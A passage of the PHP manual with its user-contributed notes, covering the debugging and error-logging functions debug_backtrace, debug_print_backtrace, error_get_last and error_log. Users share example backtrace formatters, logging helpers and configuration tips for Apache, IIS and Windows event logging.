        $output .= "<b>call:</b> {$bt['class']}{$bt['type']}{$bt['function']}($args)<br />\n";
    }
    $output .= "</div>\n";
    return $output;
}

?>

And here's a sample of how the output looks like (the last call is on the top):

Backtrace:

file: 56 - /tmp/test.php
call: backtrace()

file: 53 - /tmp/test.php
call: test->bar(15.4, Array(4))

file: 61 - /tmp/test.php
call: test->test("making new object", True)

file: 65 - /tmp/test.php
call: foo(Resource(#2), Null)
ad-rotator.com 30-Apr-2004 09:11
To simply print out the file/function trace (chain of calls, file and line number before the error):

function getTrace() {
 $vDebug = debug_backtrace();
 $vFiles = array();
 for ($i=0;$i<count($vDebug);$i++) {
   // skip the first one, since it's always this func
   if ($i==0) { continue; }
   $aFile = $vDebug[$i];
   $vFiles[] = '('.basename($aFile['file']).':'.$aFile['line'].')';
 } // for
 $vTraceStr = implode(',',$vFiles);
}
spagmoid at yahoo dot NOSPAMcom 09-Dec-2003 11:47
ATTN: jlim#natsoft.com.my

Great function, but you have a few bugs.

At the line:
foreach($arr['args'] as $v)

Change it to:
$args = array();
if(!empty($arr['args'])) foreach($arr['args'] as $v)

And since line & file are not present in the array if calling from the error handler,

$Line = (isset($arr['line'])? $arr['line'] : "unknown");
$File = (isset($arr['file'])? $arr['file'] : "unknown");

and substitute accordingly.

Here's my version of it, alas with different formatting:
----------------------------------------

function DBG_GetBacktrace()
{
    $s = '';
    $MAXSTRLEN = 64;

    $s = '<pre align=left>';
    $traceArr = debug_backtrace();
    array_shift($traceArr);
    $tabs = sizeof($traceArr)-1;
    foreach($traceArr as $arr)
    {
        for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
        $tabs -= 1;
        $s .= '<font face="Courier New,Courier">';
        if (isset($arr['class'])) $s .= $arr['class'].'.';
        $args = array();
        if(!empty($arr['args'])) foreach($arr['args'] as $v)
        {
            if (is_null($v)) $args[] = 'null';
            else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
            else if (is_object($v)) $args[] = 'Object:'.get_class($v);
            else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
            else
            {
                $v = (string) @$v;
                $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                if (strlen($v) > $MAXSTRLEN) $str .= '...';
                $args[] = "\"".$str."\"";
            }
        }
        $s .= $arr['function'].'('.implode(', ',$args).')</font>';
        $Line = (isset($arr['line'])? $arr['line'] : "unknown");
        $File = (isset($arr['file'])? $arr['file'] : "unknown");
        $s .= sprintf("<font color=#808080 size=-1> # line %4d, file: <a href=\"file:/%s\">%s</a></font>",
            $Line, $File, $File);
        $s .= "\n";
    }
    $s .= '</pre>';
    return $s;
}
Fabian dot Kraetzer at gmx dot de 01-Sep-2003 06:18
I coded a function, too. Just call debug() evertime you think you could encounter an error:
<?
    function debug()
    {
        $debug_array = debug_backtrace();
        $counter = count($debug_array);
        for($tmp_counter = 0; $tmp_counter != $counter; ++$tmp_counter)
        {
          ?>
          <table width="558" height="116" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">
            <tr>
              <td height="38" bgcolor="#D6D7FC"><font color="#000000">function <font color="#FF3300"><?
              echo($debug_array[$tmp_counter]["function"]);?>(</font> <font color="#2020F0"><?
              //count how many args a there
              $args_counter = count($debug_array[$tmp_counter]["args"]);
              //print them
              for($tmp_args_counter = 0; $tmp_args_counter != $args_counter; ++$tmp_args_counter)
              {
                 echo($debug_array[$tmp_counter]["args"][$tmp_args_counter]);

                 if(($tmp_args_counter + 1) != $args_counter)
                 {
                   echo(", ");
                 }
                 else
                 {
                   echo(" ");
                 }
              }
              ?></font><font color="#FF3300">)</font></font></td>
            </tr>
            <tr>
              <td bgcolor="#5F72FA"><font color="#FFFFFF">{</font><br>
                <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file: <?
                echo($debug_array[$tmp_counter]["file"]);?></font><br>
                <font color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;line: <?
                echo($debug_array[$tmp_counter]["line"]);?></font><br>
                <font color="#FFFFFF">}</font></td>
            </tr>
          </table>
          <?
         if(($tmp_counter + 1) != $counter)
         {
           echo("<br>was called by:<br>");
         }
       }
        exit();
    }
?>
bernyregeling AT hotmail DOT com 08-Aug-2003 04:29
I wrote this function, in addition to jlim, for a nice NO-HTML output.

Thee result has similarities to a Java-error. Hope you like it.

(BTW, this function exits the script too, if debug_backtrace is displayed)
------------------------------
    function debug_bt()
    {
        if(!function_exists('debug_backtrace'))
        {
            echo 'function debug_backtrace does not exists'."\r\n";
            return;
        }
        //echo '<pre>';
        echo "\r\n".'----------------'."\r\n";
        echo 'Debug backtrace:'."\r\n";
        echo '----------------'."\r\n";
        foreach(debug_backtrace() as $t)
        {
            echo "\t" . '@ ';
            if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
            else
            {
                // if file was not set, I assumed the functioncall
                // was from PHP compiled source (ie XML-callbacks).
                echo '<PHP inner-code>';
            }

            echo ' -- ';

            if(isset($t['class'])) echo $t['class'] . $t['type'];

            echo $t['function'];

            if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
            else echo '()';

            echo "\r\n";
        }
        //echo '</pre>';
        exit;
         }
jlim#natsoft.com.my 13-Mar-2003 05:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

    function adodb_backtrace($print=true)
    {
        $s = '';
        if (PHPVERSION() >= 4.3) {

            $MAXSTRLEN = 64;

            $s = '<pre align=left>';
            $traceArr = debug_backtrace();
            array_shift($traceArr);
            $tabs = sizeof($traceArr)-1;
            foreach ($traceArr as $arr) {
                for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
                $tabs -= 1;
                $s .= '<font face="Courier New,Courier">';
                if (isset($arr['class'])) $s .= $arr['class'].'.';
                foreach($arr['args'] as $v) {
                    if (is_null($v)) $args[] = 'null';
                    else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                    else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                    else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                    else {
                        $v = (string) @$v;
                        $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                        if (strlen($v) > $MAXSTRLEN) $str .= '...';
                        $args[] = $str;
                    }
                }

                $s .= $arr['function'].'('.implode(', ',$args).')';
                $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
                $s .= "\n";
            }
            $s .= '</pre>';
            if ($print) print $s;
        }
        return $s;
    }
Error Handling Functions
debug_print_backtrace
Error Handling Functions


Prints a backtrace

debug_backtrace
error_get_last
Error Handling Functions
PHP Manual

debug_print_backtrace

(PHP 5)

debug_print_backtrace — Prints a backtrace

Description

void debug_print_backtrace ([ int $options = 0 [, int $limit = 0 ]] )

debug_print_backtrace() prints a PHP backtrace. It prints the function calls, included/required files and eval()ed stuff.

Parameters

options

As of 5.3.6, this parameter is a bitmask for the following options:

debug_print_backtrace() options
DEBUG_BACKTRACE_IGNORE_ARGS Whether or not to omit the "args" index, and thus all the function/method arguments, to save memory.

limit

As of 5.4.0, this parameter can be used to limit the number of stack frames printed. By default (limit=0) it prints all stack frames.

Return Values

No value is returned.

Changelog

Version | Description
5.4.0 | Added the optional parameter limit.
5.3.6 | Added the optional parameter options.

Examples

Example #1 debug_print_backtrace() example

<?php
// include.php file

function a() {
    b();
}

function b() {
    c();
}

function c(){
    debug_print_backtrace();
}

a();

?>
<?php
// test.php file
// this is the file you should run

include 'include.php';
?>

The above example will output something similar to:

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

See Also

  • debug_backtrace() - Generates a backtrace

User Contributed Notes

Sammaye 24-Feb-2011 04:26
Most methods of getting the backtrace and printing are susceptible to a certain runtime flaw.

If the user is able to produce 100+ errors this will throw an error which in turn will throw 100+ errors on each nest of get_args() creating an infinite loop and eventually downing your server.

If you are looking for a simple backtrace that (so far) will not fall to this error then use this:

<?php
    foreach(debug_backtrace() as $k=>$v){
        if($v['function'] == "include" || $v['function'] == "include_once" || $v['function'] == "require_once" || $v['function'] == "require"){
            $backtracel .= "#".$k." ".$v['function']."(".$v['args'][0].") called at [".$v['file'].":".$v['line']."]<br />";
        }else{
            $backtracel .= "#".$k." ".$v['function']."() called at [".$v['file'].":".$v['line']."]<br />";
        }
    }
?>
chris dot kistner at gmail dot com 01-Apr-2010 04:31
Here's a function that returns a string with the same information shown in debug_print_backtrace(), with the option to exclude a certain amount of traces (by altering the $traces_to_ignore argument).

I've done a couple of tests to ensure that it prints exactly the same information, but I might have missed something.

This solution is a nice workaround to get the debug_print_backtrace() information if you're already using ob_start() in your PHP code.

<?php
function get_debug_print_backtrace($traces_to_ignore = 1){
    $traces = debug_backtrace();
    $ret = array();
    foreach($traces as $i => $call){
        if ($i < $traces_to_ignore ) {
            continue;
        }

        $object = '';
        if (isset($call['class'])) {
            $object = $call['class'].$call['type'];
            if (is_array($call['args'])) {
                foreach ($call['args'] as &$arg) {
                    get_arg($arg);
                }
            }
        }

        $ret[] = '#'.str_pad($i - $traces_to_ignore, 3, ' ')
        .$object.$call['function'].'('.implode(', ', $call['args'])
        .') called at ['.$call['file'].':'.$call['line'].']';
    }

    return implode("\n",$ret);
}

function get_arg(&$arg) {
    if (is_object($arg)) {
        $arr = (array)$arg;
        $args = array();
        foreach($arr as $key => $value) {
            if (strpos($key, chr(0)) !== false) {
                $key = '';    // Private variable found
            }
            $args[] =  '['.$key.'] => '.get_arg($value);
        }

        $arg = get_class($arg) . ' Object ('.implode(',', $args).')';
    }
}
?>
bishop 28-Jul-2009 01:20
Another way to manipulate and print a backtrace, without using output buffering:

<?php
// print backtrace, getting rid of repeated absolute path on each file
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));
?>
bradley dot giesbrecht at gmail dot com 13-Jan-2009 04:51
I was using the function by dany dot dylan at gmail dot com and found that preg_replace had string length limits. So here is yet another output format function.

<?php
if ( !function_exists ( "mydie" ) ) {
    function mydie (  ) { $this_file = __FILE__ ; $this_line = __LINE__ ;
        $buffer = array (  ) ;
        $trace_calls = "" ;
        ob_start (  ) ;
        debug_print_backtrace (  ) ;
        $buffer[ "0" ] = ob_get_contents (  ) ;
        ob_end_clean (  ) ;
        $buffer[ "0" ] = array_slice ( explode ( "#" , $buffer[ "0" ] ) , 1 , -1 , false ) ;
        foreach ( $buffer[ "0" ] as $key => $value ) {
            $value = explode ( ") called at [" , $value ) ;
            if ( $key == 0 ) {
                $value[ "0" ] = "0  " . __FUNCTION__ . "(see above vars)" ;
            }
            $trace_calls .= "#" . implode ( ")\n\tcalled at [" , $value ) ;
        }
        unset ( $buffer , $key , $value ) ;
        echo "<pre>function " . __FUNCTION__ . " lives here:{$this_file}:{$this_line}</pre>" ;
        echo ( "<pre>" . print_r( func_get_args (  ) , true ) . "</pre>" ) ;
        if ( $trace_calls == "" ) $trace_calls = "No functions were called." ;
        echo ( "<pre>" . $trace_calls . "</pre>" ) ;
        die ;
    }
}
function a (  ) {
    b ( func_get_args (  ) , 2 ) ;
}
function b (  ) {
    c ( func_get_args (  ) , 3 ) ;
}
function c (  ) {
    mydie ( func_get_args (  ) , 4 ) ;
}
a ( 1 ) ;
?>

## outputs
function mydie lives here:/path/file.php:4
Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [0] => 1
                        )

                    [1] => 2
                )

            [1] => 3
        )

    [1] => 4
)
#0  mydie(see above vars))
    called at [/path/file.php:54]
#1  c(Array ([0] => Array ([0] => 1),[1] => 2), 3)
    called at [/path/file.php:49]
#2  b(Array ([0] => 1), 2)
    called at [/path/file.php:43]
dany dot dylan at gmail dot com 10-Nov-2008 09:51
I like the output of debug_print_backtrace() but I sometimes want it as a string.

bortuzar's solution to use output buffering is great, but I'd like to factorize that into a function.  Doing that however always results in whatever function name I use appearing at the top of the stack which is redundant.

Below is my noddy (simple) solution.  If you don't care for renumbering the call stack, omit the second preg_replace().

<?php
    function debug_string_backtrace() {
        ob_start();
        debug_print_backtrace();
        $trace = ob_get_contents();
        ob_end_clean();

        // Remove first item from backtrace as it's this function which
        // is redundant.
        $trace = preg_replace ('/^#0\s+' . __FUNCTION__ . "[^\n]*\n/", '', $trace, 1);

        // Renumber backtrace items.
        $trace = preg_replace ('/^#(\d+)/me', '\'#\' . ($1 - 1)', $trace);

        return $trace;
    }
?>
harmor 19-Feb-2008 01:54
Input (Using: PHP Version 5.2.5-pl1-gentoo):
<?php
class CTest
{
    public static function say($a_szVar)
    {
        debug_print_backtrace();
        echo '<br />';
    }
}

CTest::say('static call');

$obj = new CTest;
$obj->say('object call');

?>

Output:
#0 CTest::say(static call) called at [C:\PHPDocument4.php:11]
#0 CTest::say(object call) called at [C:\PHPDocument4.php:15]

Notice that the second line of the output outputs "::" instead of "->" when calling the function using an object.
taner 21-Aug-2007 04:52
bortuzar: a simpler version, w/o output buffering:

<?php

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
    mysql_real_escape_string(join("\n", debug_backtrace())) );
mysql_query($query);

?>
bortuzar at gmail dot com 05-Jun-2007 11:23
If you want to get the trace into a variable or DB, I suggest to do the following:

<?php
    ob_start();
        debug_print_backtrace();
    $trace = ob_get_contents();
    ob_end_clean();

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
            mysql_real_escape_string($trace));
mysql_query($query);
?>
petermarkellis at googlemail dot com 28-Mar-2007 02:10
A cleaner example:
<?php
function a() {
   b();
}

function b() {
   c();
}

function c(){
   debug_print_backtrace();
}

a();

?>

outputs:
#0  c() called at [C:\debugbacktracetest.php:7]
#1  b() called at [C:\debugbacktracetest.php:3]
#2  a() called at [C:\debugbacktracetest.php:14]
aidan at php dot net 15-Mar-2005 01:47
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
debug_backtrace
error_get_last
Error Handling Functions


Get the last occurred error

debug_print_backtrace
error_log
Error Handling Functions
PHP Manual

error_get_last

(PHP 5 >= 5.2.0)

error_get_last — Get the last occurred error

Description

array error_get_last ( void )

Gets information about the last error that occurred.

Return Values

Returns an associative array describing the last error with keys "type", "message", "file" and "line". If the error has been caused by a PHP internal function then the "message" begins with its name. Returns NULL if there hasn't been an error yet.

Examples

Example #1 An error_get_last() example

<?php
echo $a;
print_r(error_get_last());
?>

The above example will output something similar to:

Array
(
    [type] => 8
    [message] => Undefined variable: a
    [file] => C:\WWW\index.php
    [line] => 2
)

See Also

  • Error constants
  • Variable $php_errormsg
  • Directive display_errors
  • Directive html_errors
  • Directive xmlrpc_errors

User Contributed Notes

drumcast at live dot com 19-Apr-2011 11:57
There is a way to get the error (if any) at specific line.

<?php

function error_get_line($line) {
    $err = error_get_last();
    if (empty($err)) {
        return;
    }
    $bt = debug_backtrace();
    if (($err['file'] == $bt[0]['file']) && ($err['line'] == $line)) {
        return $err;
    }
}

// example

$str = @vsprintf('%d', 1, 2);  // this will produce a warning
// you can leave a comment in between
$err = error_get_line(__LINE__-2);
/* print_r($err); will print
Array
(
    [type] => 2
    [message] => Wrong parameter count for vsprintf()
    [file] => ....
    [line] => 16
)
*/
?>
php at joert dot net 19-Apr-2011 02:36
To simulate this function in a horrid way for php <5.2, you can use something like this.
<?php
if( !function_exists('error_get_last') ) {
    set_error_handler(
        create_function(
            '$errno,$errstr,$errfile,$errline,$errcontext',
            '
                global $__error_get_last_retval__;
                $__error_get_last_retval__ = array(
                    \'type\'        => $errno,
                    \'message\'        => $errstr,
                    \'file\'        => $errfile,
                    \'line\'        => $errline
                );
                return false;
            '
        )
    );
    function error_get_last() {
        global $__error_get_last_retval__;
        if( !isset($__error_get_last_retval__) ) {
            return null;
        }
        return $__error_get_last_retval__;
    }
}
?>
dmgx dot michael at gmail dot com 07-Oct-2010 04:41
If an error handler (see set_error_handler ) successfully handles an error then that error will not be reported by this function.
Skrol29 24-Jul-2010 03:09
Function error_get_last() will return an error information even if the error is hidden because you've used character @, because of  the "error_reporting" directive in the php.ini file, or because you've used function error_reporting().

Examples:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$y = $x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )

<?php
$y = @$x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )
scott at eyefruit dot com 25-Jun-2010 01:47
If you have the need to check whether an error was a fatal error  before PHP 5.2 (in my case, within an output buffer handler), you can use the following hack:

<?php
# Check if there was a PHP fatal error.
# Using error_get_last is the "right" way, but it requires PHP 5.2+. The back-up is a hack.
if (function_exists('error_get_last')) {
    $lastPHPError = error_get_last();
    $phpFatalError = isset($lastPHPError) && $lastPHPError['type'] === E_ERROR;
} else {
    $phpFatalError = strstr($output, '<b>Fatal error</b>:') && ! strstr($output, '</html>');
}
?>

This is, of course, language-dependent, so it wouldn't be good in widely-distributed code, but it may help in certain cases (or at least be the base of something that would work).
iant at clickwt dot com 05-Nov-2009 09:13
Beware that registing a shutdown function to catch errors won't work if other shutdown functions throw errors.

<?php

register_shutdown_function('cleanupObjects');
register_shutdown_function('handleFatalPhpError');

function cleanupObjects() {
   trigger_error('An insignificant problem', E_USER_WARNING);
}

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR || $last_error['type'] === E_USER_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

trigger_error('Something serious', E_USER_ERROR);

?>

In the above code, $last_error will contain the warning, becuase cleanupObjects() is called first.
michael at getsprink dot com 10-Aug-2009 10:15
The error_get_last() function will give you the most recent error even when that error is a Fatal error.

Example Usage:

<?php

register_shutdown_function('handleFatalPhpError');

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

?>
phil at wisb dot net 04-Dec-2008 04:12
While mail at mbaierl dot com makes the point that this function isn't best for reporting the possible error condition of the most recently executed step, there are situations in which it is especially helpful to know the last error—regardless of when it occurred.

As an example, imagine if you had some code that captured the output from dynamic pages, and cached it for faster delivery to subsequent visitors. A final sanity check would be to see if an error has occurred anywhere during the execution of the script. If there has been an error, we probably don't want to cache that page.
Brad 16-Jun-2008 11:54
Like $php_errormsg, the return value of this function may not be updated if a user-defined error handler returns non-FALSE. Tested on PHP 5.2.6.

<?php
var_dump(PHP_VERSION);
// Outputs: string(5) "5.2.6"

@trigger_error("foo");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b',''));

@trigger_error("bar");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b','return false;'));

@trigger_error("baz");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "baz"
?>
Brad 16-Jun-2008 11:36
It can't be completely reset, but you can "clear" it well enough for all practical purposes:
<?php
@trigger_error("");
// do stuff...
$e=error_get_last();
if($e['message']!==''){
    // An error occurred
}
?>
mail at mbaierl dot com 04-Jun-2008 05:21
This function is pretty useless, as it can not be reset, so there is no way to know if the error really happened on the line before this function call.
debug_print_backtrace
error_log
Error Handling Functions


Send an error message somewhere

error_get_last
error_reporting
Error Handling Functions
PHP Manual

error_log

(PHP 4, PHP 5)

error_log — Send an error message somewhere

Description

bool error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] )

Sends an error message to the web server's error log or to a file.

Parameters

message

The error message that should be logged.

message_type

Says where the error should go. The possible message types are as follows:

error_log() log types
0 | message is sent to PHP's system logger, using the Operating System's system logging mechanism or a file, depending on what the error_log configuration directive is set to. This is the default option.
1 | message is sent by email to the address in the destination parameter. This is the only message type where the fourth parameter, extra_headers is used.
2 | No longer an option.
3 | message is appended to the file destination. A newline is not automatically added to the end of the message string.
4 | message is sent directly to the SAPI logging handler.

destination

The destination. Its meaning depends on the message_type parameter as described above.

extra_headers

The extra headers. It's used when the message_type parameter is set to 1. This message type uses the same internal function as mail() does.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.7 | The possible value of 4 was added to message_type.

Examples

Example #1 error_log() examples

<?php
// Send notification through the server log if we can not
// connect to the database.
if (!Ora_Logon($username, $password)) {
    error_log("Oracle database not available!", 0);
}

// Notify administrator by email if we run out of FOO
if (!($foo = allocate_new_foo())) {
    error_log("Big trouble, we're all out of FOOs!", 1,
               "operator@example.com");
}

// another way to call error_log():
error_log("You messed up!", 3, "/var/tmp/my-errors.log");
?>

User Contributed Notes

roychri at php dot net 25-Apr-2010 09:02
There is a limit on the maximum length that you can pass as the $message.

The default seem to be 1024 but can be changed by adjusting the value of the runtime configuration value of 'log_errors_max_len'.

More details here:
http://www.php.net/manual/en/errorfunc.configuration.php
Scott R 29-Mar-2010 01:05
When starting Apache from a user context other than Apache's runtime user, the error log file (if one is specified) may be created under the starting user if it did not previously exist.

For example, I had specified the incorrect filename for my browscap.ini file, and would only see this error in the log file upon each restart of Apache.  Because of this, I assumed I'd configured logging correctly:

[24-Feb-2010 12:33:04] PHP Warning:  Cannot open '/etc/php5/apache/lite_php_browscap.ini' for reading in Unknown on line 0

No other errors would log at runtime even though I had originally set the owner of the log directory to www-data (Apache runs under this user context).  My file (error.log) was being created with the owner = root, because I had restarted the apache2 service as root after configuring the log file location.  (I made the poor assumption that since PHP/Apache had created the file it was created by www-data, so I hadn't looked).

Changing owner of the log file to the correct user (i.e. www-data) fixed the problem.
kevindougans at gmail dot com 24-Feb-2010 02:19
Advice to novices: This function works great along with "tail" which is a unix command to watch a log file live. There are versions of Tail for Windows too, like Tail for Win32 or Kiwi Log Viewer.

Using both error_log() and tail to view the php_error.log you can debug code without having to worry so much about printing debug messages to the screen and who they might be seen by.

Further Note: This works even better when you have two monitors setup. One for your browser and IDE and the other for viewing the log files update live as you go.
SmokeyDaBandit 09-Dec-2009 01:29
This had me hunting for a while till I figured this out.  What ever folder you want your logs deposited to, don't create the log file yourself, let php do it for you.  For some reason, if the log file already exists and it's 0 KB, PHP will try to re-create the log file and fail in the process.  It never attempts to write to the pre-existing empty file, just fails on folder creation.  Might be do to the folder permissions I have on windows, but this is what I found with read/write/modify permissions for IIS_IUSRS on Win2008.  Once PHP has written to its self-created file successfully, it will append to the file on new errors.  Process Monitor is my friend :)
daniel dot fukuda at gmail dot com 01-Sep-2009 05:42
If you have a problem with log file permission *silently*
it's best to leave error_log directive unset so errors will be written in your Apache log file for current VirtualHost.
Anonymous 26-Aug-2009 10:22
After scouring the internet for getting event logging to
work in syslog on Windows 2003, I found the following
from this post and was able to successfully get Windows
Event Viewer to log PHP errors/notices:

http://forums.iis.net/p/1159662/1912015.aspx#1913338

   1. Copy the PHP 5 binaries to "C:\php".
   2. Right-click My Computer and select Properties to bring
up the Computer Properties dialog. Switch to the Advanced
tab and click Environment Variables. Find the system
environment variable PATH, edit it and add ";C:\php"
(without the quotes) to the end.
   3. Make sure that the configuration file "php.ini" resides
in the directory "C:\php" and contains the correct path
settings.
   4. DELETE any old "php.ini" files from "C:\WINDOWS"
and other directories.
   5. Open REGEDIT, navigate to the key
"HKLM\SOFTWARE\PHP" and DELETE the string value
"IniFilePath" from there. It is outdated and no longer
necessary!
   6. Modify NTFS security permissions of the directory
"C:\php" to give Read and Execute permissions to (1) the
IIS Guest Account and (2) the group IIS_WPG.
   7. Modify NTFS security permissions of the directories
"C:\php\session" and "C:\php\upload" to give additional
Modify permissions to (1) the IIS Guest Account and (2)
the group IIS_WPG.
   8. Navigate to the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
\Application" and edit the value "CustomSD" there. Find
the substring "(D;;0xf0007;;;BG)" which Denies access to
the application event log for Builtin Guest accounts (like
the IIS Web User account) and replace this substring with
"(A;;0x3;;;BG)" which allows read and write access. Please
pay attention to leave the rest of the security string intact.
Damaging this value can have dangerous effects!
   9. Create or update the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\
PHP-5.2.0" (adapt the last to your version part
if necessary) with the following values:

          * "EventMessageFile" (REG_EXPAND_SZ) = "C:\php\php5ts.dll"

          * "TypesSupported" (REG_DWORD) = 7
m308 16-Nov-2008 08:20
If you are trying to capture PHP errors to a text file on IIS ensure that two things are set.

1) Only one error log option is set. IE:

; Log errors to specified file.
error_log = "c:\php\errorlog.txt"

; Log errors to syslog (Event Log on NT, not valid in Windows 95).
;error_log = syslog

2) The IUSR account has write and modify permissions to e rrorlog.txt .
eguvenc at gmail dot com 28-Oct-2008 08:03
<?php
//Multiline error log class
// ersin güvenç 2008 eguvenc@gmail.com
//For break use "\n" instead '\n'

Class log {
  //
  const USER_ERROR_DIR = '/home/site/error_log/Site_User_errors.log';
  const GENERAL_ERROR_DIR = '/home/site/error_log/Site_General_errors.log';

  /*
   User Errors...
  */
    public function user($msg,$username)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."  |  User:  ".$username."\n";
    error_log($log, 3, self::USER_ERROR_DIR);
    }
    /*
   General Errors...
  */
    public function general($msg)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."\n";
    error_log($msg."   |  Tarih:  ".$date, 3, self::GENERAL_ERROR_DIR);
    }

}

$log = new log();
$log->user($msg,$username); //use for user errors
//$log->general($msg); //use for general errors
?>
paul dot chubb at abs dot gov dot au 16-Jun-2008 10:37
When logging to apache on windows, both error_log and also trigger_error result in an apache status of error on the front of the message. This is bad if all you want to do is log information. However you can simply log to stderr however you will have to do all message assembly:

LogToApache($Message) {
        $stderr = fopen('php://stderr', 'w');
        fwrite($stderr,$Message);
        fclose($stderr);
}
i dot buttinoni at intandtel dot com 16-Feb-2008 03:32
Be carefull. Unexpected PHP dies when 2GByte of file log reached (on systems having upper file size limit).
A work aorund is rotate logs :)
SJL 31-Dec-2007 06:16
"It appears that the system log = stderr if you are running PHP from the command line"

Actually, it seems that PHP logs to stderr if it can't write to the log file. Command line PHP falls back to stderr because the log file is (usually) only writable by the webserver.
larry.kooper at gmail dot com 11-Oct-2007 03:00
On a Mac running OS X, for the error logging to work I needed to put this in my php.ini:
error_log = /tmp/php_errors.log
Attempting to put the log in other locations did not work, probably due to permission issues.
stepheneliotdewey at GmailDotCom 26-Jun-2007 06:05
Note that since typical email is unencrypted, sending data about your errors over email using this function could be considered a security risk. How much of a risk it is depends on how much and what type of information you are sending, but the mere act of sending an email when something happens (even if it cannot be read) could itself imply to a sophisticated hacker observing your site over time that they have managed to cause an error.

Of course, security through obscurity is the weakest kind of security, as most open source supporters will agree. This is just something that you should keep in mind.

And of course, whatever you do, make sure that such emails don't contain sensitive user data.
frank at booksku dot com 02-Nov-2006 03:28
Beware!  If multiple scripts share the same log file, but run as different users, whichever script logs an error first owns the file, and calls to error_log() run as a different user will fail *silently*!

Nothing more frustrating than trying to figure out why all your error_log calls aren't actually writing, than to find it was due to a *silent* permission denied error!
p dot lhonorey at nospam-laposte dot net 28-Aug-2006 03:33
Hi !

Another trick to post "HTML" mail body. Just add "Content-Type: text/html; charset=ISO-8859-1" into extra_header string. Of course you can set charset according to your country or Env or content.

EG: Error_log("<html><h2>stuff</h2></html>",1,"eat@joe.com","subject  :lunch\nContent-Type: text/html; charset=ISO-8859-1");

Enjoy !
marques at displague dot com 26-Aug-2005 01:52
Beware the size of your custom error_log!

Once it exceeds 2GB the function errors, ending your script at the error_log() line.  I'm sure this differs from OS to OS, but I have seen it die writing to ext2 under modern Linux systems.
php at kennel17 dot NOSPAM dot co dot uk 25-Jul-2005 02:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu 21-Jul-2005 10:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com 20-Apr-2005 09:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
28-Mar-2003 02:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8
error_get_last
error_reporting
Error Handling Functions


Sets which PHP errors are reported

error_log
restore_error_handler
Error Handling Functions
PHP Manual

error_reporting

(PHP 4, PHP 5)

error_reporting — Sets which PHP errors are reported

Description

int error_reporting ([ int $level ] )

The error_reporting() function sets the error_reporting directive at runtime. PHP has many levels of errors, using this function sets that level for the duration (runtime) of your script. If the optional level is not set, error_reporting() will just return the current error reporting level.

Parameters

level

